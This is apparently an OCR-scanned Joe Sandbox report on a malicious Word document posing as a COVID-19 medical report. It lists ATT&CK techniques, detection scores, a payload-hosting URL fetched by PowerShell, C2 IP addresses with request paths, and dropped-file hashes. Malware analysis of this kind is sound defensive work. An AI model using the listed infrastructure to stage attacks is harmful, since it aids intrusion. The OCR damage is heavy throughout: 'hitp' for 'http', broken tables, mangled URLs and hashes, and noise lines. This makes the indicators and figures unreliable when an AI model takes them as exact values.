Cloud PowerShell Network Network Logon  Deobfuscate/Decode LSA File and Directory SSH Keylogging Data Application M
Accounts Logon Script Script Files or Information Secrets Discovery Transfer Layer D
Size Limits  Protocol C
Replication  Launchd Rc.common Rc.common Scripting Cached System Information VNC GUI Input  Exfiltration  Multiband Ji
Through Domain Discovery Capture Over C2 Communication D
Removable Credentials Channel S
Media
External Scheduled Task Startup Startup Items Hidden Files and DCSync Network Sniffing Windows Web Portal Exfiltration Commonly R
Remote Items Directories Remote Capture Over Used Port A
Services Management Alternative
Protocol
Drive-by Command and Scheduled  Scheduled Obfuscated Files or  Proc Network Service Shared Credential Exfiltration Application D
Compromise Scripting Interpreter ~ Task/Job Task/Job Information Filesystem Scanning Webroot API Over Layer Protocol  In
Hooking Symmetric P
Encrypted
Non-C2
Protocol
Exploit PowerShell At (Linux) At (Linux) RundlI32 letc/passwd System Network Software Data Exfiltration Web Protocols R
Public- and Connections Deployment  Staged Over B
Facing letc/shadow Discovery Tools Asymmetric
Application Encrypted
Non-C2
Protocol

Behavior Graph
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Hide Legend
Legend:
Process
Signature
Created File
DNS/IP Info
Is Dropped

Is Windows Process
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*
*n

Number of created Registry Values

Number of created Files
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Visual Basic
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3

ms
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)

Delphi

i
i
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Java

.Net C# or VB.NET

C, C++ or other language
Is malicious

Internet

L@ 2 )
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Screenshots

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source Detection Scanner Label Link
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Unpacked PE Files
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https://www.virustotal.com/gui/file/843ac5a5070a8f77eeb150cf7963ea5a66dd5763b0e3ac3d775333219fa5b773/detection/f-843ac5a5070a8f77eeb150cf7963ea5a66dd5763b0e3ac3d775333219fa5b773-1611569627
https://www.metadefender.com/#!/results/file/bzIxMDIxMHBDZ252ZUJhTGFpTGFHblhBZUI/regular/analysis
https://www.metadefender.com/#!/results/file/bzIxMDEyNDk4cWVaOGJxQlExQ0ZMRzN5aUY/regular/analysis

Source Detection Scanner Label Link Download

Domains
Source Detection Scanner Label Link
N o e T I ===
ie-best.net 5% Virustotal Browse
bhaktivrind.com 2% Virustotal Browse
URLs
Source Detection Scanner Label Link
hitp://ocsp.sectigo.com0 0% URL Reputation safe
hitp://ocsp.sectigo.com0 0% URL Reputation safe
hitp://ocsp.sectigo.com0 0% URL Reputation safe
o bmimeomamnd G AR mawee
hitp://bhaktivrind.com 0% Avira URL Cloud safe
hitp://\windowsmedia.com/redir/services.asp?WMPFriendly=true 0% URL Reputation safe
hitp://\windowsmedia.com/redir/services.asp?WMPFriendly=true 0% URL Reputation safe
hitp://\windowsmedia.com/redir/services.asp?WMPFriendly=true 0% URL Reputation safe
hitp:/fie-best.net 0% Avira URL Cloud safe
hitp:/fjava.c 0% Avira URL Cloud safe
hitp://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t 0% URL Reputation safe
hitp://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t 0% URL Reputation safe
hitp://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t 0% URL Reputation safe
hitp://iwww.icra.org/vocabulary/. 0% URL Reputation safe
hitp://iwww.icra.org/vocabulary/. 0% URL Reputation safe
hitp://iwww.icra.org/vocabulary/. 0% URL Reputation safe
T wttecompeonenG G AmURCed maee
hitp://crt.sectigo.com/SectigoRSATimeStampingCA.crt0# 0% URL Reputation safe
hitp://crt.sectigo.com/SectigoRSATimeStampingCA.crt0# 0% URL Reputation safe
hitp://crt.sectigo.com/SectigoRSATimeStampingCA.crt0# 0% URL Reputation safe

[ - ) S IR
L - v 0 e I

hitp://https://sectigo.com/CPS0D 0% URL Reputation safe
hitp://https://sectigo.com/CPS0D 0% URL Reputation safe
hitp://https://sectigo.com/CPS0D 0% URL Reputation safe
hitp:/fiwww.%s.comPA 0% URL Reputation safe
hitp:/fiwww.%s.comPA 0% URL Reputation safe
hitp:/fiwww.%s.comPA 0% URL Reputation safe

[ e R e e ) I
MR TEE e T GG e

hitp://cab.mH 0% Avira URL Cloud safe
hitp://cab.mykfn.com 0% Avira URL Cloud safe
hitp://vanddnabhargave.com 0% Avira URL Cloud safe

Domains and IPs

Contacted Domains

Name Active Malicious Antivirus Detection Reputation

Copyright null 2021 Page 13 of 54


https://www.virustotal.com/gui/url/7647fca600f9129a629023e0b53a35b7ca44397b06932f4145d5c52f87909639/detection/u-7647fca600f9129a629023e0b53a35b7ca44397b06932f4145d5c52f87909639-1613529329
https://www.virustotal.com/gui/url/a91a5d6bda6ac98dd2031ba678fbf0bf1469224fd46e9ba79d074df1ae6bd64a/detection/u-a91a5d6bda6ac98dd2031ba678fbf0bf1469224fd46e9ba79d074df1ae6bd64a-1612367234
https://www.virustotal.com/gui/url/5b73db1fe4b9987bdbef23c4a579e8c0744e75f9950238cf9d0fc44b1dbb1ce9/detection/u-5b73db1fe4b9987bdbef23c4a579e8c0744e75f9950238cf9d0fc44b1dbb1ce9-1612339150
https://www.virustotal.com/gui/url/7647fca600f9129a629023e0b53a35b7ca44397b06932f4145d5c52f87909639/detection/u-7647fca600f9129a629023e0b53a35b7ca44397b06932f4145d5c52f87909639-1613529329

Name P Active Malicious Antivirus Detection Reputation

Name Malicious Antivirus Detection Reputation

URLs from Memory and Binaries

Name Source Malicious Antivirus Detection Reputation

hitp:/f/www.windows.com/pctv. rundlI32.exe, 00000009.0000000 false high
2.2131336460.0000000001E20000.
00000002.00000001.sdmp

hitp://investor.msn.com rundlI32.exe, 00000006.0000000 false high
2.2111782640.0000000001C70000.
00000002.00000001.sdmp, rundll32.exe,
00000007.00000002.2110651832.000
0000001E20000.00000002.0000000
1.sdmp, rundlI32.exe, 00000008
.00000002.2121577503.000000000
1E20000.00000002.00000001.sdmp,
rundll32.exe, 00000009.00000
002.2131336460.0000000001E2000
0.00000002.00000001.sdmp

hitp://www.msnbc.com/news/ticker.txt rundlI32.exe, 00000006.0000000 false high
2.2111782640.0000000001C70000.
00000002.00000001.sdmp, rundll32.exe,
00000007.00000002.2110651832.000
0000001E20000.00000002.0000000
1.sdmp, rundlI32.exe, 00000008
.00000002.2121577503.000000000
1E20000.00000002.00000001.sdmp,
rundll32.exe, 00000009.00000
002.2131336460.0000000001E2000
0.00000002.00000001.sdmp

hitp://ocsp.sectigo.com0 powershell.exe, 00000005.00000 false e URL Reputation: safe unknown
002.2106822436.0000000003B5800 e URL Reputation: safe
0.00000004.00000001.sdmp e URL Reputation: safe

-

hitp://cambiasuhistoria.growlab.es/wp-content/hGhY2/P powershell.exe, 00000005.00000 false high
002.2099206859.0000000002EA100
0.00000004.00000001.sdmp

hitp://iwindowsmedia.com/redir/services.asp? rundlI32.exe, 00000006.0000000 false e URL Reputation: safe unknown
WMPFriendly=true 2.2111927523.0000000001E57000. e URL Reputation: safe
00000002.00000001.sdmp, rundll32.exe, e URL Reputation: safe

00000007.00000002.2110821787.000
0000002007000.00000002.0000000
1.sdmp, rundlI32.exe, 00000008
.00000002.2121763735.000000000
2007000.00000002.00000001.sdmp,
rundll32.exe, 00000009.00000
002.2131595672.000000000200700
0.00000002.00000001.sdmp, rund
1132.exe, 0000000A.00000002.21
46304517.0000000002197000.0000
0002.00000001.sdmp

hitp://iwww.hotmail.com/oe rundlI32.exe, 00000006.0000000 false high
2.2111782640.0000000001C70000.
00000002.00000001.sdmp, rundll32.exe,
00000007.00000002.2110651832.000
0000001E20000.00000002.0000000
1.sdmp, rundlI32.exe, 00000008
.00000002.2121577503.000000000
1E20000.00000002.00000001.sdmp,
rundll32.exe, 00000009.00000
002.2131336460.0000000001E2000
0.00000002.00000001.sdmp
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https://www.virustotal.com/gui/url/a91a5d6bda6ac98dd2031ba678fbf0bf1469224fd46e9ba79d074df1ae6bd64a/detection/u-a91a5d6bda6ac98dd2031ba678fbf0bf1469224fd46e9ba79d074df1ae6bd64a-1612367234
https://www.virustotal.com/gui/url/5b73db1fe4b9987bdbef23c4a579e8c0744e75f9950238cf9d0fc44b1dbb1ce9/detection/u-5b73db1fe4b9987bdbef23c4a579e8c0744e75f9950238cf9d0fc44b1dbb1ce9-1612339150

Name

hitp:/fjava.c

hitp://services.msn.com/svcs/oe/certpage.asp?
name=%s&email=%s&&Check

hitp://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t

hitp://iwww.icra.org/vocabulary/.

http://
schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous

Source Malicious

powershell.exe, 00000005.00000 false
002.2097432715.00000000003A500
0.00000004.00000020.sdmp

rundll32.exe, 00000006.0000000 false
2.2111927523.0000000001E57000.
00000002.00000001.sdmp, rundll32.exe,
00000007.00000002.2110821787.000
0000002007000.00000002.0000000
1.sdmp, rundlI32.exe, 00000008
.00000002.2121763735.000000000
2007000.00000002.00000001.sdmp,
rundll32.exe, 00000009.00000
002.2131595672.000000000200700
0.00000002.00000001.sdmp, rund
1132.exe, 0000000A.00000002.21
46304517.0000000002197000.0000
0002.00000001.sdmp

powershell.exe, 00000005.00000 false
002.2106822436.0000000003B5800
0.00000004.00000001.sdmp

rundll32.exe, 00000006.0000000 false
2.2111927523.0000000001E57000.
00000002.00000001.sdmp, rundll32.exe,
00000007.00000002.2110821787.000
0000002007000.00000002.0000000
1.sdmp, rundlI32.exe, 00000008
.00000002.2121763735.000000000
2007000.00000002.00000001.sdmp,
rundll32.exe, 00000009.00000
002.2131595672.000000000200700
0.00000002.00000001.sdmp, rund
1132.exe, 0000000A.00000002.21
46304517.0000000002197000.0000
0002.00000001.sdmp

powershell.exe, 00000005.00000 false
002.2098069064.000000000240000
0.00000002.00000001.sdmp, rund

1132.exe, 00000008.00000002.21
22352359.0000000002820000.0000
0002.00000001.sdmp

Antivirus Detection Reputation

e Avira URL Cloud: safe unknown
high

e URL Reputation: safe unknown

e URL Reputation: safe

e URL Reputation: safe

e URL Reputation: safe unknown

e URL Reputation: safe

e URL Reputation: safe
high

hitp://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#

hitp://investor.msn.com/

hitp://cambiasuhistoria.growlab.es/wp-content/hGhY2/

hitp://https://sectigo.com/CPS0D
http://
www.piriform.com/ccleanerhttp://www.piriform.com/cclea7

hitp:/fwww.piriform.com/ccleaner

Copyright null 2021

powershell.exe, 00000005.00000 false
002.2106822436.0000000003B5800
0.00000004.00000001.sdmp

rundll32.exe, 00000006.0000000 false
2.2111782640.0000000001C70000.
00000002.00000001.sdmp, rundll32.exe,
00000007.00000002.2110651832.000
0000001E20000.00000002.0000000
1.sdmp, rundll32.exe, 00000008
.00000002.2121577503.000000000
1E20000.00000002.00000001.sdmp,
rundll32.exe, 00000009.00000
002.2131336460.0000000001E2000
0.00000002.00000001.sdmp

powershell.exe, 00000005.00000 false
002.2106741601.0000000003A6900
0.00000004.00000001.sdmp

powershell.exe, 00000005.00000 false
002.2106822436.0000000003B5800
0.00000004.00000001.sdmp

powershell.exe, 00000005.00000 false
002.2097432715.00000000003A500
0.00000004.00000020.sdmp

powershell.exe, 00000005.00000 false
002.2097432715.00000000003A500
0.00000004.00000020.sdmp

e URL Reputation: safe unknown
e URL Reputation: safe
e URL Reputation: safe

high

high

e URL Reputation: safe unknown
e URL Reputation: safe
e URL Reputation: safe

high

high
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Name Source Malicious Antivirus Detection Reputation

hitp:/fiwww.%s.comPA powershell.exe, 00000005.00000 false e URL Reputation: safe low
002.2098069064.000000000240000 e URL Reputation: safe
0.00000002.00000001.sdmp, rund e URL Reputation: safe

1132.exe, 00000008.00000002.21
22352359.0000000002820000.0000
0002.00000001.sdmp

hitp:/fcab.mH powershell.exe, 00000005.00000 false e Avira URL Cloud: safe unknown
002.2106818585.0000000003B5400
0.00000004.00000001.sdmp

Contacted IPs

] No. of IPs < 25%
B 25% < No. of IPs < 50%
B 50% < No. of IPs < 75%
B 75% <No. of IPs

Public

P Domain Country Flag ASN ASN Name Malicious
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Domain ASN Name Malicious
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Domain ASN Name Malicious

General Information

Joe Sandbox Version: 31.0.0 Emerald

Analysis ID: 354471

Start date: 17.02.2021

Start time: 22:55:49

Joe Sandbox Product: CloudBasic

Overall analysis duration: Oh 7m 11s

Hypervisor based Inspection enabled: false

Report type: light

Sample file name: 1U-8549 Medical report COVID-19.doc
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Cookbook file name: defaultwindowsofficecookbook.jbs

Analysis system description: Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52,
Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127,
Java 8 Update 121, .NET 4.6.2)

Number of analysed new started processes analysed: 15
Number of new started drivers analysed:
Number of existing processes analysed:

Number of existing drivers analysed:

o ©o o o

Number of injected processes analysed:

Technologies: e HCA enabled
e EGA enabled
e HDC enabled
L]
L]

GSl enabled (VBA)

AMSI enabled
Analysis Mode: default
Analysis stop reason: Timeout
Detection: MAL
Classification: mal100.troj.evad.winDOC@20/8@6/100
EGA Information: e Successful, ratio: 85.7%
HDC Information: e Successful, ratio: 31.6% (good quality ratio 29.4%)

e Quality average: 70.8%
e Quality standard deviation: 26.8%

HCA Information: e Successful, ratio: 78%
e Number of executed functions: 0
e Number of non-executed functions: 0

Cookbook Comments: e Adjust boot time
e Enable AMSI
Found application associated with file extension:
.doc
Found Word or Excel or PowerPoint or XPS Viewer
Found warning dialog
Click Ok
Attach to Office via COM
Scroll down
Close Viewer

.

e o o o o o

Warnings: Show All

e Exclude process from analysis (whitelisted):
dllhost.exe, conhost.exe

e TCP Packets have been reduced to 100

e Execution Graph export aborted for target
powershell.exe, PID 1320 because it is empty

e Report size getting too big, too many
NtOpenKeyEx calls found.

e Report size getting too big, too many
NtQueryAttributesFile calls found.

e Report size getting too big, too many
NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time Type Description

22:56:35 API Interceptor 1x Sleep call for process: msg.exe modified
22:56:36 API Interceptor 89x Sleep call for process: powershell.exe modified
22:56:56 API Interceptor 253x Sleep call for process: rundll32.exe modified

Joe Sandbox View | Context

IPs

Match Associated Sample Name / URL SHA 256 Detection Link Context
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Match
115.94.207.99

71.72.196.159

Copyright null 2021

Associated Sample Name / URL SHA 256
P

[

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Context

115.94.20
7.99:443/0
Unj/nu5Sn5
pHBEW/XCXNN
4goRNggaQs
hv/BH9p/al
Z3dnjhwqoc
s6Wj/

71.72.196
.159/jzbe8u/

71.72.196
.159/Asgu9
G/UPAJK1H/
kiwB2h2lhM
QGy9IM40/Cw
ukNROTLhDm
T5iz7yr/QN
OGQRhP/

71.72.196
.159/YmBvq
XK/A1bXsLo
MSYg/iogaw
BtL9c/yD6C9feh/

71.72.196
.159/HisuD
o3My4/

71.72.196
.159/IEHZ5
/HVIPRDwFo
J/OuQtgxrl
ROu80/9t0s
yM1s3J/

71.72.196
.159/Udrox
O40uHCZo3/
SPUpyAXBIZ
AJIKRALZr6
qJHOM3/9tr
1e4XNde6jx
g22B/i2TVT
GpcHCpnicl/

71.72.196
.159/6YX6s
QtKK6MLta/
TbNsyU7EbV
PMjL/OMoOi
2xkKCNW7y6
7b/USvVDOTS
XSZ/BulSakK/

71.72.196
.159/LLRDD
CScx1Byk2D
/krMwjOaF5
6Uc9lleeMD
/WuP6hJZcQ
a4/5p5T7L/

71.72.196
.159/30AMQ
7MNt66IIE8
EI/DizHtXL
tgQHgx/U2N
H3hwOGWPot
mCV/dMZCjc
yGRF/qUw6h
gl/FWMSWVK
67N4mSEo0C/

71.72.196
.159/QxJ68
bj/OcYZ8J9
RWfz7qwepe
Y/7Zys/K1B
pu/5CRfSZC
JgSBtKez/d
hIXBeS6VLIR/

71.72.196
.159/JMk30
NNrO1ReTb/
6XR5dMIuJF
NZfcR/yg0f
R2fimXvduKb/

71.72.196
.159/EMc53
XBYQbNS5JI/
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https://view.joesandbox.com/analysis/221627/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/221627/html/none?idtype=webid
https://view.joesandbox.com/analysis/255093/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/255093/html/none?idtype=webid
https://view.joesandbox.com/analysis/214335/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/214335/html/none?idtype=webid
https://view.joesandbox.com/analysis/213489/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/213489/html/none?idtype=webid
https://view.joesandbox.com/analysis/209610/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/209610/html/none?idtype=webid
https://view.joesandbox.com/analysis/209583/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/209583/html/none?idtype=webid
https://view.joesandbox.com/analysis/209581/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/209581/html/none?idtype=webid
https://view.joesandbox.com/analysis/209575/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/209575/html/none?idtype=webid
https://view.joesandbox.com/analysis/209571/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/209571/html/none?idtype=webid
https://view.joesandbox.com/analysis/209452/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/209452/html/none?idtype=webid
https://view.joesandbox.com/analysis/209451/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/209451/html/none?idtype=webid
https://view.joesandbox.com/analysis/209450/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/209450/html/none?idtype=webid
https://view.joesandbox.com/analysis/209449/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/209449/html/none?idtype=webid

Match

Domains

No context

ASN

Match
HOSTER-KZ

BEAMTELE-AS-
APAtriaConvergenceTechnologiespvtltd!
N

Copyright null 2021

Associated Sample Name / URL SHA 256

Associated Sample Name / URL

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

Get hash

SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Detection

malicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

Detection
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

Link

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Browse

Link

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Context

71.72.196
.159/1iekl
OTBS/ak8HNCcj/

71.72.196
.159/cv2mw
GF5/67daqj/
ZkWPeQbBjv
dWajsuvx/I
YL2/TIjK64
MelbfzHxBI/

71.72.196
.159/ejSg6
gT/pSnsS3g
AqTGFHUmM9V
/3g8Kv3cnC
G2Miq94/Sfoxz/

71.72.196
.159/tiVhu
DLoHxS/G2H
TAH/

71.72.196
.159/RQWeh
X/fgtvs/ht
JbK7vQCVUS
RwZJeE/

71.72.196
.159/b9v60
T61MzfaloQ
AP/IIXIIMvsnl/

71.72.196
.159/v4zRq
awC6/myK9u
1BaFBMOak/

71.72.196
.159/w5aqN
3cMRoz5Eq/

Context

185.100.65.29
185.100.65.29
185.100.65.29
185.100.65.29
185.100.65.29
185.100.65.29
185.100.65.29
185.100.65.29
185.100.65.29
185.100.65.29
185.100.65.29
185.100.65.29
185.100.65.29
185.98.5.123

185.98.7.168
194.4.56.252
194.4.56.252
185.129.49.19
185.98.6.98
185.111.107.43
183.82.229.11
183.82.229.11
49.207.1.12
183.82.101.78
183.82.101.78
183.82.101.78
183.82.101.78
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https://view.joesandbox.com/analysis/209425/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/209425/html/none?idtype=webid
https://view.joesandbox.com/analysis/209410/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/209410/html/none?idtype=webid
https://view.joesandbox.com/analysis/209409/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/209409/html/none?idtype=webid
https://view.joesandbox.com/analysis/209407/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/209407/html/none?idtype=webid
https://view.joesandbox.com/analysis/209406/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/209406/html/none?idtype=webid
https://view.joesandbox.com/analysis/209405/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/209405/html/none?idtype=webid
https://view.joesandbox.com/analysis/209402/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/209402/html/none?idtype=webid
https://view.joesandbox.com/analysis/209401/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/209401/html/none?idtype=webid
https://view.joesandbox.com/analysis/265627/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/265627/html/none?idtype=webid
https://view.joesandbox.com/analysis/265531/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/265531/html/none?idtype=webid
https://view.joesandbox.com/analysis/263975/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263975/html/none?idtype=webid
https://view.joesandbox.com/analysis/263589/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263589/html/none?idtype=webid
https://view.joesandbox.com/analysis/263487/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263487/html/none?idtype=webid
https://view.joesandbox.com/analysis/262404/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/262404/html/none?idtype=webid
https://view.joesandbox.com/analysis/261596/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/261596/html/none?idtype=webid
https://view.joesandbox.com/analysis/261590/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/261590/html/none?idtype=webid
https://view.joesandbox.com/analysis/260885/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/260885/html/none?idtype=webid
https://view.joesandbox.com/analysis/260644/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/260644/html/none?idtype=webid
https://view.joesandbox.com/analysis/259091/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259091/html/none?idtype=webid
https://view.joesandbox.com/analysis/258821/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/258821/html/none?idtype=webid
https://view.joesandbox.com/analysis/256771/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/256771/html/none?idtype=webid
https://view.joesandbox.com/analysis/251727/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251727/html/none?idtype=webid
https://view.joesandbox.com/analysis/182094/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/182094/html/none?idtype=webid
https://view.joesandbox.com/analysis/176995/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/176995/html/none?idtype=webid
https://view.joesandbox.com/analysis/176915/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/176915/html/none?idtype=webid
https://view.joesandbox.com/analysis/147666/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/147666/html/none?idtype=webid
https://view.joesandbox.com/analysis/128867/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/128867/html/none?idtype=webid
https://view.joesandbox.com/analysis/115488/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/115488/html/none?idtype=webid
https://view.joesandbox.com/analysis/245383/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/245383/html/none?idtype=webid
https://view.joesandbox.com/analysis/245375/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/245375/html/none?idtype=webid
https://view.joesandbox.com/analysis/155355/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/155355/html/none?idtype=webid
https://view.joesandbox.com/analysis/132479/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/132479/html/none?idtype=webid
https://view.joesandbox.com/analysis/132039/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/132039/html/none?idtype=webid
https://view.joesandbox.com/analysis/132038/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/132038/html/none?idtype=webid
https://view.joesandbox.com/analysis/131957/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/131957/html/none?idtype=webid

Match

TTNETTR

JA3 Fingerprints

No context

Dropped Files

No context

Associated Sample Name /| URL SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash

=

Get hash
Get hash
Get hash

hitp/;

Get hash

E

Get hash

Created / dropped Files

Detection
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

malicious

malicious
malicious
malicious

malicious

malicious

Link

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Browse

Browse
Browse
Browse

Browse

Browse

Context

183.82.101.78
183.82.101.78
183.82.101.78
183.82.101.78
183.82.101.78
183.82.101.78
183.82.120.85
183.82.120.85
81.215.230.173
78.182.153.125
78.181.200.182
78.162.183.87
95.12.26.17
95.7.8.37
95.7.8.37
78.188.107.43
78.161.228.73
85.105.29.218
81.215.78.147
78.188.225.105
78.188.225.105
78.188.225.105

78.188.225.105

78.188.225.105
78.188.225.105
78.188.225.105
78.188.225.105

78.188.225.105

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{452ACF7A-211A-44E2-8F1B-AC77A8685DB1}.tmp
C:\Program Files\Microsoft Office\Office 14\WINWORD.EXE

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Reputation:

Copyright null 2021

data

dropped
1536
1.3555252507007245

false

3

if3l/HInl/bl/I/blIBI/PvwwvwwvvwvFII/IAgsalHISIIdHzIbO:

fdLl0ZQc8++IsJelMzR

9F85A426A7C06D286F10DC7BICO6FFF5

218864C86F0788C9CD71EF1505D3A38C522DEA0Q7

D4D1C027A1BAEFOAEDA2242980DBE4269FF390485C93COFFEO9AFFAC3D902044

F09712C2E11AC9236A7FD6963E145D02F5238D5E3F37D75CCF4D4963B1D8F34C70727F620B81A708089349ECF6A30DFEBA20B2179E79FD103C17F53CABDSED?

false

low
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https://view.joesandbox.com/analysis/131956/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/131956/html/none?idtype=webid
https://view.joesandbox.com/analysis/131955/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/131955/html/none?idtype=webid
https://view.joesandbox.com/analysis/131954/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/131954/html/none?idtype=webid
https://view.joesandbox.com/analysis/131953/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/131953/html/none?idtype=webid
https://view.joesandbox.com/analysis/131952/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/131952/html/none?idtype=webid
https://view.joesandbox.com/analysis/131949/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/131949/html/none?idtype=webid
https://view.joesandbox.com/analysis/4573/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/4573/html/none?idtype=webid
https://view.joesandbox.com/analysis/4572/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/4572/html/none?idtype=webid
https://view.joesandbox.com/analysis/263817/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/263817/html/none?idtype=webid
https://view.joesandbox.com/analysis/259609/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/259609/html/none?idtype=webid
https://view.joesandbox.com/analysis/257236/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/257236/html/none?idtype=webid
https://view.joesandbox.com/analysis/252478/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252478/html/none?idtype=webid
https://view.joesandbox.com/analysis/252134/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/252134/html/none?idtype=webid
https://view.joesandbox.com/analysis/251196/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251196/html/none?idtype=webid
https://view.joesandbox.com/analysis/251179/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251179/html/none?idtype=webid
https://view.joesandbox.com/analysis/251157/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/251157/html/none?idtype=webid
https://view.joesandbox.com/analysis/250750/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250750/html/none?idtype=webid
https://view.joesandbox.com/analysis/250749/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250749/html/none?idtype=webid
https://view.joesandbox.com/analysis/250663/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250663/html/none?idtype=webid
https://view.joesandbox.com/analysis/250616/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250616/html/none?idtype=webid
https://view.joesandbox.com/analysis/250449/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250449/html/none?idtype=webid
https://view.joesandbox.com/analysis/250351/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250351/html/none?idtype=webid
https://view.joesandbox.com/analysis/250296/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250296/html/none?idtype=webid
https://view.joesandbox.com/analysis/250235/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250235/html/none?idtype=webid
https://view.joesandbox.com/analysis/250170/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250170/html/none?idtype=webid
https://view.joesandbox.com/analysis/250122/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/250122/html/none?idtype=webid
https://view.joesandbox.com/analysis/250119/html/none?idtype=webid#static
